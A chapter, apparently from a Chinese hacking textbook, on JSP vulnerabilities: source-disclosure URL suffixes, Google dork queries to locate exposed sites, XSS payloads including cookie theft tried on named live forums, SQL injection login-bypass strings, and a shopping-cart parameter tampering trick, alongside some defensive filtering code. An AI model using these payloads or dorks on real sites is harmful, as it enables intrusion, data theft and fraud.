当前位置: 首页 > 文档资料 > 精通脚本黑客 >

第十三章 JSP程序常见漏洞

优质
小牛编辑
120浏览
2023-12-01

上一章已经为大家介绍了 JSP 的各种基础知识,相信大家对它已经有了一个基本的了解,有了这些基础我们就可以分析 JSP 程序的漏洞了。本章为大家介绍一些常见的 JSP 漏洞。因为 JSP 的编译性语言,而且编写的过程也比较规范,我们可以用 javascript+html+jsp的方式来开发 JSP 系统。但是更多的系统确是采用 JAVA 软件的开发流程来开发,过程如下: 1.编写源代码

2.通过编译软件(如 J2SDK 等)编译源代码,编译后产生类文件。

3.将软件的所有类和一个清单文件一起打包,生成包裹文件。

4.最后通过混淆器把所有的文件混淆,以防止被反编译。

采用这种方法开发的 JSP 系统其安全性就大大得到了提高,执行效率也比较高。虽然

JSP 比起 PHP 和 ASP 要安全一些,但这并不就代表它就没有安全漏洞。所以,本章就为大家介绍一下目前 JSP 出现的主要安全漏洞。

13.1 JSP源代码泄露

JSP 源代码暴露是一个比较老的漏洞了,出现这个漏洞的主要并不是 JSP 的原因,而是和搭建 JSP 环境的服务器有着密切的关系。下面就来谈谈 Web 服务器和JSP 服务器中存在的这些漏洞。

Unify eWave ServletExec 是一个 Java/Java Servlet 引擎插件,主要用于 WEB 服务器,例如:Microsoft IIS, Apache, Netscape Enterprise 服务器等等。当一个 HTTP 请求时,我们在 URL 中添加下列字符之一,ServletExec 将返回 JSP 源代码文件。添加的字符有:.、%2E、%20、%5C、%20、%00、+、\。当我们成功的利用该漏洞将导致泄露指定的

JSP 文 件 的 源 代 码 , 例 如 : 使 用 下 面 的 任 意 一 个 URL 请 求 将 输 出 指 定 的 JSP 文 件 (login.jsp) 的 源 代 码 : (1) 、 http://www.xxxx.com/xxxxx/jsp/login.jsp. (2) 、 http://www.xxxx.com/xxxxx/jsp/login.jsp%2E

(3)、http://www.xxxx.com/xxxxx/jsp/login.jsp+

(4)、http://www.xxxx.com/xxxxx/jsp/login.jsp%2B

(5)、http://www.xxxx.com/xxxxx/jsp/login.jsp\

(6)、http://www.xxxx.com/xxxxx/jsp/login.jsp%5C

(7)、http://www.xxxx.com/xxxxx/jsp/login.jsp%20

(8)、http://www.xxxx.com/xxxxx/jsp/login.jsp%00

Tomcat 这个服务器我们在前面已经使用过了,利用它我们来搭建 JSP 环境。不过在 Tomcat 3.1 版本中存在一个安全问题,在这个版本下搭建的系统,当我们提交一个不存在的文件时就会暴露出网站上网页的全路径。比如,我们提交一个不存在的 hack.jsp 文件时,系统就会暴露出该网站上网页的全路径,如图 13-1 所示。

image

图 13-1 暴露路径

我们知道 Tomcat 是文件名大小写敏感的,而 Java Server Pages (JSP)类型的文件是以'.jsp'扩展名在 Tomcat 上注册,所以'.jsp'和'.JSP'是不同类型的文件扩展名。如果提交有'.JSP'的链接给 Tomcat,而 Tomcat 找不到'.JSP'就会以默认的'.text'文件类型(文本文件)来响应请求。因为在 windows 操作系统中大小写文件名是非敏感的,所以被请求的文件会以文本的形式送出。即如果 JSP 网站采用的是 windows 操作系统,那么我们就可以看到该文件文件的源代码。如果在 UNIX 服务器上会出现"file not found"的错误信息,如图 13-2所示。

image

图 13-2 UNIX 返回的信息

Tomcat 的一些版本有泄露源代码的漏洞,如果在浏览器中调用 JSP 页面时将该文件的后缀改成大写,这个 JSP 文件的源代码将完全输出到浏览器中(也许浏览器窗口中什么都没有,这时你只需查看 HTML 源文件就可以发现)。解决方法很简单,把各种后缀的组合全部写到 Tomcat_Home\conf\web.xml 里就可以了,这样 Tomcat 会将不同后缀名的 JSP 分开对待,就不会泄露代码了,如添加 JSP、Jsp、JSp、jSP、jsP 等等。利用数学上的排列就可以得出有八种情况,即 2*2*2 等于 8。

ALLAIRE JRUN 是一个基于 JSP 和JAVA SERVLET 开发的 WEB 应用套件。每个 WEB 应用程序目录中包含一个 WEB-INF 目录,这个目录包含一些 WEB 应用程序的 CLASS 和预编译 JSP文件,服务器端库文件,会话信息和文件如 web.xml、webapp.properties 等等。

JRUN 曾经出现过一个包含漏洞,它允许远程用户查看 WEB-INF 目录内容,通过请求一

个包含"/"字符的 URL,就会显示 WEB-INF 目录下面面的所有目录。达到遍历目录的结果,导致泄露非常多的敏感信息,攻击的方法就是在网站的 URL 后添加“/WEB-INF”即可看到遍历信息了,如图 13-3 所示,就是我利用这个漏洞所进行的攻击结果。

image

图 13-3 /WEB-INF 遍历漏洞

本来这个漏洞我也是想这里就该结束了,不过后来我想到了 Google Hack 技术。记得前面介绍给大家的时候,提到过“to parent directory”关键字。那我们在来仔细看看图 13-3 中的内容,可以发现也存在一个独一无二的关键字“Index of //WEB-INF”。所以我们可以利用 Google Hack 技术来查找所有存在这个漏洞的网站, 我们只需要搜索 intext:"Index of //WEB-INF"。就可以找出所有存在这个漏洞的网站了,如图 13-4 所示,随便打开就可以看到其中的文件了,如图 13-5 所示。

image

图 13-4 搜索到存在漏洞的网站

image

图 13-5 漏洞网站

前面我们已经两次提到了 web.xml 这个文件,它是属于一个配制文件。不过从我利用搜索/WEB-INF 漏洞搜索到的网站来看,很多网站都含有 web.xml 这个文件,如图 13-5 所示。所以我们还可以利用 web.xml 作为关键字搜索出很多 JSP 网站因配置不当引起的遍历漏洞,当然也包括/WEB-INF 遍历漏洞。不过只使用 web.xml 关键字是没有用的,必须还要加上关键字“Parent Directory”。即搜索 intext:"Parent Directory"+"web.xml"就可以找出存在遍历漏洞的 JSP 网站了,结果如图 13-6 所示,共有 49500 项结果。

image

图 13-6 搜索 intext:"Parent Directory"+"web.xml"的结果

当然,不仅仅只有上面两个关键字可以找出 JSP 中存在遍历漏洞的网站,后来又根据我的挖掘,发现搜索关键字 intext:"Index of /tomcat/"的效果更好,可以搜索出 56200 项结果,如图 13-7 所示。

image

图 13-7 搜索 intext:"Index of /tomcat/"的结果

IBM WebSphere Application Server 是一个完善的、开放的 Web 应用服务器。不过在

3.0.2 版本存在暴露源代码漏洞,IBM WebSphere Application Server 允许攻击者查看 Web

server 根目录以上的所有文件。IBM WebSphere 使用 Java Servlets 处理多种页面类型的分析(如 HTML, JSP, JHTML, 等等)。WebSphere 会使用一个默认的 servlet 作调用。如果文件路径以"/servlet/file/"作开头这个默认的 servlet 会被调用这个请求的文件会未被分析或编译就显示出来。

这样说可能很多人都理解不了,下面就用例子来说明。 例如我们请求网站

http://www.xxx.com/ 中 的 login.jsp 文 件 , 正 确 的 请 求 路 径 是 http://www.xxx.com/jsp/login.jsp 。 那 么 , 我 们 访 问

http://www.xxx.com/jsp/servlet/file/login.jsp 就可以看到 login.jsp 文件的代码了。和前面的一样,Java Server Pages (JSP)类型的文件是以'.jsp'扩展名在 WebSphere Application Serve 上注册,WebSphere 是文件名大小写敏感的。所以,'jsp'和'Jsp'是不同后缀名。如果提交有'.JSP'的链接给 WebSphere,而 WebSphere 找不到'.JSP'就会以默认的'.text'文件类型(文本文件)来响应请求。因为在 windows 操作系统中大小写文件名是非敏感的,所以被请求的文件会以文本的形式送出。即如果 JSP 网站采用的是 windows 操作系统,那么我们就可以看到该文件文件的源代码。如果在 UNIX 服务器上会出现"file not

found"的错误信息。

上面的这些就是因为服务器导致 JSP 代码泄露的漏洞,虽然上面很多漏洞已经不存在了,但是仍然有一些傻瓜网站存在,/WEB-INF 漏洞就是一个典型,利用 google hack 还是找出了 200 个这样的网站。

对于这类因为服务器的原因导致代码泄露的漏洞,这里我给大家推荐一个好工具,是由

image

image

lcx 写的,界面如图 13-8 所示。

图 13-8 jsp 暴源码及目录工具

使用方法是:第一个输入框输入域名,第二个输入框输入路径,第三个输入框输入文件名 , 不 过 后 缀 名 jsp 不 要 写 上 去 。 例 如 我 们 想 查 看 http://integra.sunsite.dk/common/body.jsp 的 body.jsp 的代码,那么在第一个输入框中输入 http://integra.sunsite.dk,第二输入框输入/common/,第三个输入框输入 body就可以了,点击按钮之后就是等结果了。如果不存在漏洞,就会返回如图 13-9 所示的结果。

image

图 13-9 没有漏洞检测的结果

上面的这些就是因为服务器的原因导致代码泄露的漏洞,虽然很多漏洞离现在很久了,但是只要灵活运用,还是可以得到意想不到结果。

    1. 跨站脚本攻击漏洞

      只要浏览器能够解释 HTML 和 JavaScript 语言,而在服务端又没有很好的对字符进行转换,那么就会发生跨站脚本攻击漏洞。至于它的基础知识这里不重复了,我们直接来分析

      JSP 程序中存在跨站脚本漏洞的代码。

      只要是在进行 JSP 编程时,没有对输入的字符进行有效的过滤就会发生跨站脚本漏洞。我分析 JSP 系统的过程中,发现“Jspmo 伊人心留言本 v1.0”就存在着一个过滤不严格的地方,导致了跨站漏洞的出现,它的留言界面如图 13-10 所示。

      image

      图 13-10 留言界面

      我们来看看它是怎么对留言的内容进行处理的,文件是 save.jsp,代码如下所示: String title=request.getParameter("title"); //获得留言的标题

      String name=request.getParameter("name"); //获得留言者的名称 String email=request.getParameter("email"); //获得留言者的电子邮件 String web=request.getParameter("web"); //获得留言者的主页 String QQ=request.getParameter("QQ"); //获得留言者的 QQ 号码 String text=request.getParameter("text"); //获得留言的内容

      String p1=request.getParameter("p1"); //获得性别 String p2=request.getParameter("p2"); //获得头像 String pic=null;

      String ip=request.getRemoteAddr(); //获得留言者的 IP 地址 if("http://".equals(web)){web="";} //判断主页是否为空 if("m".equals(p1)){pic="m"+p2+".gif";}

      if("w".equals(p1)){pic="w"+p2+".gif";} if(name==null||QQ==null||text==null||p1==null||p2==null)

      //如果name、QQ、text、p1、p2 中有一个为空,就发生错误,并返回到 index.jsp 去

      {

      ');");

      out.println("<script language=javascript>alert(' 不 允 许 直 接 访 问

      out.println("location.href('index.jsp');"); out.println("</script>");

      } //如果不为空,那么就把上面的数据插入到数据库中 else

      {

      String sql="insert into "+tab+"

      values(0,'"+gb2iso(title)+"','"+gb2iso(name)+"','"+gb2iso(QQ)+"','"+gb2iso(emai

      l)+"','"+gb2iso(web)+"','y','"+gb2iso(pic)+"','"+gb2iso(text)+"','"+ip+"',now()

      )"; //gb2iso()的作用是用于显示中文,并不是进行过滤用的 st.executeUpdate(sql); //执行数据库操作 st.close();

      con.close();

      out.println("<script language=javascript>alert('留言成功!');"); out.println("location.href('index.jsp');"); out.println("</script>");

      可以看到上面我们留言的数据都是没有进行过滤就插入到了数据库中了,典型的跨站脚本漏洞。不过仍然有一些限制,因为提交的数据的页面是在 index.jsp,而处理数据则是在 save.jsp。所以我们在来看看 index.jsp 中的一些代码,它能够限制我们的攻击,关键代码如下所示:

      <td style="color:#999900;">主题:</td>

      <td width="6"></td>

      <td>

      <input name=title type=text class="inp_set1" id="title" onFocus="this.style.backgroundColor='#fffdf7'" onBlur="this.style.backgroundColor='#FFFFFF'" value=" 路 过 " size="30" maxlength="12"> //主题允许输入的最大长度为 12

      </td>

      </tr>

      <tr>

      <td style="color:#999900;">昵称:</td>

      <td width="6"></td>

      <td>

      <input name=name type=text class="inp_set1" id="name" onFocus="this.style.backgroundColor='#fffdf7'" onBlur="this.style.backgroundColor='#FFFFFF'" value="" size="30" maxlength="10">

      </td> //昵称允许输入的最大长度为 10

      可以看到主题允许输入的最大长度为12 个字符,昵称允许输入的最大长度为10 个字符。所以我们必须要改变他们的大小,把他们的长度都改成 1000,如图 13-11 所示。因为改变大小,所以我们要把网页保存到本地,并且要把表单 form 中的action 的地址改成绝对路径,这里我用的是该留言版的官方网站,为 http://www.jspmo.com/book/index.jsp。所以这里的 action 属性就应该为 http://www.jspmo.com/book/save.jsp,如图 13-12 所示。

      image

      图 13-11 修改输入框的长度

      image

      图 13-12 把表单的处理文件改为绝对路径

      修改完了之后,我们就可以在本地输入跨站代码了,如图 13-13 所示,点击提交就可以发 生 跨 站 攻 击 , 如 图 13-14 所 示 , 我 们 还 可 以 输 入

      <script>alert(document.cookie)</script>进行偷窃 cookie,如图 13-15 所示。

      image

      图 13-13 输入跨站代码

      image

      图 13-14 跨站攻击

      image

      图 13-15 窃取 cookie

      当然,上面我只演示了“标题”和“昵称”这两个变量,其他的变量也可以试验,虽然他们进行了限制。但都是用的 javascript 限制的,所以我们可以绕过,常用的方法就是抓包修改之后用 NC 提交数据。

      上面演示的是数据没有过滤就插入到数据库中就发生了跨站漏洞,同样,更新数据库操作也会发生跨站漏洞,不过前提是他们没有对参数进行有效的过滤。这点大家在前面都明白了,不过在 JSP 还有其他的一些原因引起的跨站漏洞,其中异常处理也能够发生跨站漏洞,我们都知道异常处理是一种安全机制,但是这种安全机制如果程序员编写程序的时候考虑不全面的话,仍然会发生安全问题。我在分析鲤鱼论坛的时候就发现了这个漏洞。

      鲤鱼论坛是一个非常不错的系统,用到了目前比较先进的 Java 技术,如内置 C3P0,

      proxool,dbcp 数据库连接池;内置对 JDBC 进行初步封装组件;中间层应用 OSCache 进行数据对象缓存,支持 EHCACHE 等等。它不像前面的留言版系统,我们可以看到全部的 JSP代码,鲤鱼论坛采用标准的 JAVA 软件开发流程,很多代码都被编译成了 class 文件,并用混淆器混淆了,所以我们无法得到全部的代码。就这一点就可以防止源代码被全部分析掉了,不过仍然有一些代码我们可以看到,而在这部分代码中就有因为异常处理不当引起的跨站漏洞。下面我们就来分析一下这个鲤鱼论坛中的异常处理跨站漏洞。 (1)、自定义头像跨站

      在个人修改资料的页面中提供了一个自定义头像的功能,我们可以在自定义头像的输

      入框头像的地址。这个漏洞出现的原因是 JSP 中的异常处理不当而引起的,其处理代码是:

      <B>关于自定义头像</B>:

      <BR>

      你也可以在这里给出你自定义头像的 URL 地址,头像的高度和宽度(像素)。 如果不想要自定义头像,请将相应栏目栏目全部留空!</font></td>

      <td width="60%"> <f ont color= "<%= tableContentColor%>">

      <% int startP= (picURL+"Image").length(); //设置头像的长度 int oldFaceNum=0;

      try{

      oldFa ceNum = Integer.parseInt(theUser.getFace().substring(startP,startP+2));

      //取得输入的自定义头像的数据,并定义了长度

      }

      catch(Exception e){ / /异常处理 try{

      oldFa ceNum = Integer.parseInt(theUser.getFace().substring(startP,startP+1));

      }

      catc h(Exception e1){

      oldFa ceNum=1;

      }

      }

      %>

      ………………………………省略代码

      </select>&nbsp;&nbsp;&nbsp;预览:

      <img id=face src="<%=theUser.getFace()%>" width=<%=theUser.getWidth()%> height=<%=theUser.getHeight()%>>

      从上面取得自定义头像的异常处理代码中可以看到,它只是判断是否输入了自定义头像,而没有去检查输入的数据是否合法,只要存在数据即可不触发异常条件。所以这里虽然有一个异常处理代码,但是对跨站确没有什么影响。我们在自定义头像的输入框中输入最常见的 IMG 跨站代码 javascript:alert("自定义头像跨站")后并没有产生跨站效果,事后我查看返回的客户端代码,发现是这样的代码:<img id=face src="javascript:alert("自定义头像跨站 ")" w idth=32 he ight=32>。可以发现是被双引号给闭和了,所以要实现跨站就要把双引号去掉。可以输入"#" onerror=alert('自定义头像跨站') ""来避开双引号的封锁。那么就实现了跨站,如图 13-16 和图 13-17 所示。

      image

      图 13-16 输入自定义头像跨站代码

      image

      图 13-17 自定义头像跨站

      (2)、投票跨站

      在注册会员后不仅可以发表贴子,该系统还可以发表投票,如图 13-18 所示。在投票处确出现了跨站,可能是程序员认为这个没什么危害吧。不过对我们来说只要没有把数据过滤干净,那么就有可能,具体的代码有:

      stats="发表投票";

      out .println(headLine(forumID,forumName,forumLogo,theForum.getForumType(),2,stats));

      //在得到客户端的数据后,就直接显示出来,并显现已投票。数据没有过滤 if (foundErr){

      throw new Exception(errMSG);

      }else{

      …………………………..省略代码

      <td width="86%"><font color="<%=tableContentColor%>">

      <input nam e="subject" si ze=60 maxlength=80 class=Fo rmClass>&nbsp;&nbsp;<font

      color="red"><strong>*</strong></font> 不得超过 50 个汉字<INPUT TYPE = "hidden" name="forumType" value="<%=response.encodeURL(theForum.getForumType())%>">

      <INPUT TYPE="hidden" name="skin" value="">

      <tr bgcolor="<%=tableBodyColor%>">

      <td width="14%"><font color="<%=tableContentColor%>"><b>投票项目 </ b> <br>

      < li>每行一个投票项目,最多 10 个</li>

      < li>超过自动作废,空行自动过滤</li><br>

      < input type="radio" name= "voteType" value= "0" checked>

      单选投票<br>

      <i nput type="radio" name= "voteType" value="1">

      多选投票</font></td>

      <td width="86%"><textarea name="vote" cols="65" rows="8"></textarea>

      我们可以先发表一个这样的投票选题,输入的内容都是跨站代码,如图 13-19 所示。在我们发表一个投票选题后,系统就直接把投票的选题显现出来。如果打开这个页面就表示已经投票了。通过上面的处理代码,就可以发现它是直接通过 out.println 处理,同样也是只要输入了数据就不触发异常,而没有考虑到其是否含有攻击代码。所以这里我们只要输入跨站代码<script>alert("投票跨站")</script>或者<img src= javascript:alert("投票跨站")></img>就可以实现跨站了,如图 13-20 所示。

      image

      图 13-18 投票

      image

      图 13-19 跨站代码

      image

      图 13-20 投票跨站

      (3)、快速回复跨站

      注册用户可以对文章进行一些回复,这是论坛最基本的功能。这里有两种回复功能,其中一种是快速回复,但确没有处理好参数,出现了跨站。代码是:

      String errMsg=""; try{

      com .bcxy.bbs.forum.Forum theForum=ForumFactory.getForum(forumID);

      S tring url=theForum.addMSG(request,response); stats= theForum.getForumType()+" 回 复 成 功 !";

      out .println(headLine(forumID,forumName,forumLogo,theForum.getForumType(),2,stats));

      //没有过滤就显示出来了,漏洞出现。

      ………… …………………..省略代码

      <TD noWrap width=175>你的用户名:</TD>

      <TD ><INPUT maxLength=25 size=15 value= "<%= userName%>" name= "userName">

      <A href=reg.jsp>还没注册?</A> 密码:

      <INPUT ty pe=password maxLength=13 size= 15 val ue="<%=userPassword%>" name="userPassword">

      <A href=lostpass.jsp>忘记密码?</A>

      ………… ……………………………………省略代码

      <IN PUT type=checkbox value=0 name= emailFlag>

      邮件回复 <INPUT type=checkbox CHECKED value=1 name=signFlag>

      显示签名</TD ><TD width="100%">

      <i nput type= Submit value= OK!发表我的回应帖子 nam e=Submit> &n bsp;<input type= reset name= Clearvalue=清空内容!>

      [<font color= &alertFontColor&>Ctrl+Enter 直接提交贴子</font>

      通过上面的代码我们可以知道回复帖子的框架,如图 13-21 所示。上面的代码在得到客户端的数据后,只是写了一个判断是否输入数据的异常处理代码,而没有管数据是否合法。所以我们只要在文本框中输入代码<script>alert(“快速回复跨站”)</script>就可以实现跨站了。如图 7 所示。

      image

      图 13-21 回复功能

      image

      图 13-22 跨站漏洞

      接着我们来看看 JSP 系统中功能非常强大的阿菜论坛(beta-1),它是仿造的动网的。当我 们 提 交 http://www.xxxxx.com/acjspbbs/dispuser.jsp?name=zengyunhao;<script>alert(document.cookie)<

      /script>后就能够弹出包含自己 cookie 信息的对话框,其中 zengyunhao 是我在论坛里的用户

      名 。 而 提 交

      http://www.xxxx.com/acjspbbs/dispuser.jsp?name=zengyunhao;<script>document.location=”http:

      //www.google.com”</script>遍能够重定向到 google 上去。不过后来我又测试了一下鲤鱼论坛,发现它也存在这个漏洞,鲤鱼论坛查看会员的文件是 dispuser.jsp,我的会员名为 zengyunhao,论坛的官方网站是 http://www.liyunet.com/,那么我就在我的用户名后加上

      “;<script>alert("鲤鱼论坛的 URL 跨站")</script>”,如图 13-23 所示。点击“转到”按钮之后就发生了跨站,如图 13-24 所示。

      image

      图 13-23 在 name 属性后输入跨站代码

      image

      图 13-24 跨站漏洞

      由于在返回“name”变量的值给客户端时,脚本没有进行任何编码或过滤恶意代码,当用户访问嵌入恶意“name”变量数据链接时,会导致脚本代码在用户浏览器上执行,可能导致用户隐私泄露等后果。

      对所有动态页面的输入和输出都应进行编码,可以在很大程度上避免跨站脚本的攻击。遗憾的是,对所有不可信数据编码是资源密集型的工作,会对We b 服务器产生性能方面的影响。常用的手段还是进行输入数据的过滤,比如下面的代码就把危险的字符进行替换:

      <% String message = request.getParameter("message"); message = message.replace ('<','_');

      message = message.replace ('>','_'); message = message.replace ('"','_'); message = message.replace ('\'','_'); message = message.replace ('%','_'); message = message.replace (';','_');

      message = message.replace ('(','_');

      message = message.replace (')','_');

      message = message.replace ('&','_'); message = message.replace ('+','_'); %>

      上面的方法防御上比较被动,我们可以以主动防御的方式是利用正则表达式只允许输入指定的字符:

      public boolean isValidInput(String str)

      {

      if(str.matches("[a-z0-9]+")) return true; else return false;

      }

      采用了主动防御的方式我们就能够更加好、更加全面的防止漏洞的发生了。对于 JSP

      系统的跨站漏洞分析就到这里了,关键是大家要灵活运用,挖掘出更多更先进的技术出来。想做一名优秀的黑客没有创新能力是不可能的实现的。

    2. 注入漏洞代码分析

      只要在进行数据库操作的时候,没有对输入的参数进行过滤就会发生注入漏洞,这个思想在 JSP 中也是一样的。注入漏洞在 WEB 系统中是属于非常严重的漏洞,没有过滤参数就查询数据库是一个非常差的编程思想,特别是很多经验还不够的程序员更是如此。这有一个很重要的原因就要归结于书本,目前很多 WEB 语言的教材,包括 JSP 在内,里面的程序都是没有一点安全性的,导致结果就是用了这些教材的人写出来的程序都是漏洞百出。

      记得当初在学 JSP 的时候,用的是著名的《JSP 编程思想与实践》,这本书非常的不错,如果大家要学习 JSP 的话,最好也用这本。不过这本书中的例子同样是存在很多问题,例如该书中示范给读者编写带数据库的登录系统的(数据库为 MySQL),代码如下所示: Statement stmt = conn.createStatement();

      String checkUser = "select * from login where username = '" + userName + "' and userpassword = '" + userPassword + "'"; //userName 和 userPassword 都没有过滤 ResultSet rs = stmt.executeQuery(checkUser); //执行查询数据库操作 if(rs.next())

      response.sendRedirect("SuccessLogin.jsp"); else

      response.sendRedirect("FailureLogin.jsp");

      上面就是《JSP 编程思想与实践》中出现的后台登陆代码,userName 和 userPassword都没有过滤都是在没有过滤的情况下就放到数据库中去执行查询操作了。如果数据库里存在一个名叫“hack”的用户,那么在不知道密码的情况下至少有下面几种方法可以登录:

      用户名:hack

      密码:' or 'a'='a用户名:hack

      密码:' or 1=1/*

      用户名:hack' or 1=1/*密码:(任意)

      还有有的系统在验证管理员的时候也出现问题,也是逻辑上不清楚造成的。我在分析溢洋论坛 v1.12 的时候就发现了这个问题,user_manager.jsp 文件的作用是用户管理。在

      这个文件中验证用户的代码如下所示:

      <%

      if ((session.getValue("UserName")==null)||(session.getValue("UserClass")==null)

      ||(! session.getValue("UserClass").equals("系统管理员")))

      {

      response.sendRedirect("err.jsp?id=14"); return;

      }

      %>

      其中,session.getValue 表示检索出 Session 的值,sendRedirect()执行之后就相当

      于重定向。地址栏连接会改变,相当于客户端重新发送一个请求,要服务器传送

      err.jsp?id=14 过来。我们只需要保证 UserName 或 UserClass 不为空就可以进入管理员了。下面再来分析一些 JSP 系统中常见注入漏洞代码,在我分析“极度学习整站程序 JSP

      版 v0.1.10”的时候发现这个系统存在了 JSP 中最为经典的注入漏洞,就用它来作为例子分析。在 URL 中最为常见的 JSP 注入代码如下所示:

      String ID = new String(request.getParameter("ID").getBytes("iso8859_1"));

      //获得输入的 ID 参数,getBytes()函数用于获得字节数 Statement

      stmtArticle=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONC UR_UPDATABLE);

      String sqlArticle = "Select * from tArticle where fArticleID=" + ID;

      //ID 参数没有过滤就直接放入到查询操作中去了

      ResultSet RsArticle = stmtArticle.executeQuery(sqlArticle); //执行查询操作显显然,上面的参数 ID 在用 request 的 getParameter()方法获得后,并没有进行任何的

      过滤及安全防护措施,就把 ID 放入到了数据库查询操作中。所以出现了典型的注入漏洞,而且这个参数 ID 是在 URL 地址栏中,所以非常适合我们进行注入攻击,如图 13-25 和 13-26就可以判断其存在注入漏洞。并且可以从图 13-26 中得出该系统的后台用的 ODBC 接口的数据库。

      image

      图 13-25 添加 and 1=1 后返回正确

      image

      图 13-26 添加 and 1=2 后返回错误,从中可以得到后台为 ODBC 接口数据库

      我们可以得到这个系统采用的 ODBC 接口数据库,我们知道后台数据库直接影响者注入攻击的方式,在 URL 后直接加上单引号就可以得到后台数据库的类型,如图 13-27 所示。可以发现后台采用的 ACCESS 数据库,当然用 and user>0 的结果也是一样。

      image

      图 13-27 后台为 ACCESS 数据库

      对于注入工具而言,影响其注入的也是后台数据库。至于是何种脚本语言对其影响并不是特别大。所以前面的那个系统我们可以用 SQL 注入工具进行注入攻击了,可以很快猜解出管理员的密码,如图 13-28 所示。

      image

      图 13-28 工具注入

      从上面大家就应该明白,虽然是 JSP 系统。但是对于我们注入攻击来说,影响最大的后台数据库类型。所以如果后台数据库是 ACCESS 或SQL Server 那么我们就可以啊 D、明小子等工具。如果是 MySQL 数据库,则就可以用 NBSI2、HDSI、CASI 就可以了。不过 JSP 系统更多采用的后台数据库是 Oracle,所以这里我提供了一个提供了一个 Oracle 数据库的注入工具,如图 13-29 所示。如果后台数据库是 Oracle,则用这个工具就可以得到 Oracle 后台数据库的密码等信息。

      image

      图 13-29 Oracle 数据库注入工具

      对于注入漏洞代码的分析,前面几章已经讲了很多,比如数字型注入、字符型注入。这些都在 JSP 系统中可用,因为在 JSP 系统中获取客户端的数据主要是使用 request 的

      getParameter 方法,所以我们可以搜索关键字 request、getParameter 来找到 JSP 中获取客户端数据的代码。在得到这些代码后就跟踪获取的参数,如果参数没有过滤或过滤完全的话就会发生注入漏洞了,如图 13-30 所示。

      image

      图 13-30 利用关键字 getParameter 搜索注入漏洞

      上面说的情况是我们可以见到 JSP 系统代码的情况下,如果有 JSP 代码那么分析代码漏洞就比较简单了。不过目前大部分 JSP 系统是见不到代码,基本上都是被编译成了

      Servlet,用混淆器混淆之后我们是根本无法得到其源代码了。所以对于这样系统,我们得到它是目录结构,要入侵这样的系统只有以黑箱测试为主,以步步推进。监测每一个变量的

      去处,以发现它的漏洞。要这样入侵肯定要花费比较多的时间,而且成功与否还和你渗透网站的经验有一定的关系,在下一章会给大家演示如何入侵 JSP 的网站。

    3. 其他安全问题

      JSP 不仅仅存在于上面的几个安全漏洞,还有很多的安全问题。不过都很难形成一个体系,所以本节就来详细讨论一下其他的安全问题。

      3、String 对象带来的隐患

      学过 C 语言的朋友都知道,为对地址空间的数据进行操作,引入了指针。但是,指针存在很多的安全问题,如引发了溢出漏洞。所以在 Java 语言中就去掉了指针,这样 Java 平台的确使安全编程更加方便了。

      因为 Java 中没有指针了,这就是说 Java 语言 程序不再像 C 语言那样直接利用指针对地址空间中的任意内存位置进行寻址操作了。在 JSP 文件被编译成 .class 文件时编译器会被自动检查安全性问题,比如当我们当访问超出数组大小的时候,那么我们的请求将被拒绝,这在很大程度上避免了缓冲区溢出攻击的发生。

      但是,String 对象却会给我们带来一些安全上的隐患。如果密码是存储在 Java String对象中的,则直到对 JAVA 的立即回收器对其进行垃圾收集或进程终止之前,密码会一直驻留在内存中。即使系统进行了垃圾收集,它仍会存在于空闲内存堆中,直到重新使用该内存空间为止。密码 String 在内存中驻留得越久,遭到被窃听的危险性就越大。

      更糟的是,如果实际内存减少,则操作系统会将这个密码 String 换页调度到磁盘的交换空间,因此容易遭受磁盘块窃听攻击。为了将这种泄密的可能性降至最低(但不是消除),您应该将密码存储在 char 数组中,并在使用后对其置零(String 是不可变的,无法对其置零)。

      4、JavaBean 安全简介

      在上一章中,已经为大家介绍了 JavaBean 的基础知识了,相信大家已经有一定的了解。

      JSP 组件的核心技术就是被称为 bean 的 java 组件,即 JavaBean。在程序中可把逻辑控制、数据库操作放在 javabeans 组件中,然后在 JSP 文件中调用它,这样可增加程序的清晰度及程序的可重用性。和传统的 ASP 或PHP 页面相比,JSP 页面是非常简洁的,因为许多动态页面处理过程可以封装到 JavaBean 中,而且安全性上也得到了很大的提高。

      我们知道在 JavaBean 中要改变 JavaBean 的属性,就必须要用到“<jsp:setProperty>”标记。我们来看看下面的这一小段代码,是电子商务系统中 checkout.jsp 文件的代码,它的作用是用来结帐的,代码如下所示:

      <jsp:useBean id=”myBasket” class=”BasketBean”> //使用 JavaBean

      <jsp:setProperty name=”myBasket” property=”*”/> //设置属性

      <jsp:useBean>

      <html>

      <head><title>shop</title></head>

      <body>

      <p>

      You have added the item

      <jsp::getProperty name=”myBasket” property=”newItem”/> to your basket.

      <br/>

      Your total is $

      <jsp::getProperty name=”myBasket” property=”balance”/> Proceed to <a href=”checkout.jsp”>checkout</a>

      注 意 看 <jsp:setProperty name=”myBasket” property=”*”/> 中 的 property=”*”,这个就是表明用户在可见的 JSP 页面中输入的,或是直接通过 Query

      String 提交的全部变量的值,将存储到匹配的 bean 属性中。正常情况下,我们是这样提交请求的: http://www.xxxx.com /addToBasket.jsp?newItem=123213

      但 是 我 们 是 没 有 那 么 守 规 矩 的 ? 我 们 可 以 提 交 :

      http://www.xxxx.com/addToBasket.jsp?newItem=123213&amp;balance=0。这样,balance=0的信息就被在存储到了JavaBean中了。当他们这时点击“checkout”结账的时候,费用就全免了。这和PHP中的全局变量导致的安全问题是一样的,所以在用JavaBean的时候一定要慎用property=”*”,这样就可以避免因变量作用域而导致的安全问题。

      3、线程安全初探

      JSP 在默认的情况下是以多线程方式执行的,和 JAVA 是一样的。以多线程方式执行可大大降低对系统的资源需求,提高系统的并发量及响应时间。

      线程在程序中是独立的、并发的执行路径,每个线程在操作系统执行的过程中都有它自己的堆栈、自己的程序计数器和自己的局部变量。虽然多线程应用程序中的大多数操作都可以并行进行,但也有某些操作(如更新全局标志或处理共享文件)不能并行进行。如果没做好线程的同步,在大并发量访问时,或者是有人恶意访问的时候问题就出现了。最简单的解决方案就是在相关的 JSP 文件中加上: <%@ page isThreadSafe="false" %>指令,使它以单线程方式执行,这时,所有客户端的请求以串行方式执行。

      这样会严重降低系统的性能,如果是用单线程是划不来的。不过我们可以仍让 JSP 文件以多线程方式执行,通过用函数上锁来对线程进行同步。一个函数加上 synchronized 关键字就获得了一个锁。看下面的示例:

      public class MyClass{ int a;

      public Init() {//此方法可以多个线程同时调用 a = 0;

      }

      public synchronized void Set() {//两个线程不能同时调用此方法 if(a>5) {

      a= a-5;

      }

      }

      }

      但是这样仍然会对系统的性能有一定影响。一个更好的方案是采用局部变量代替实例变

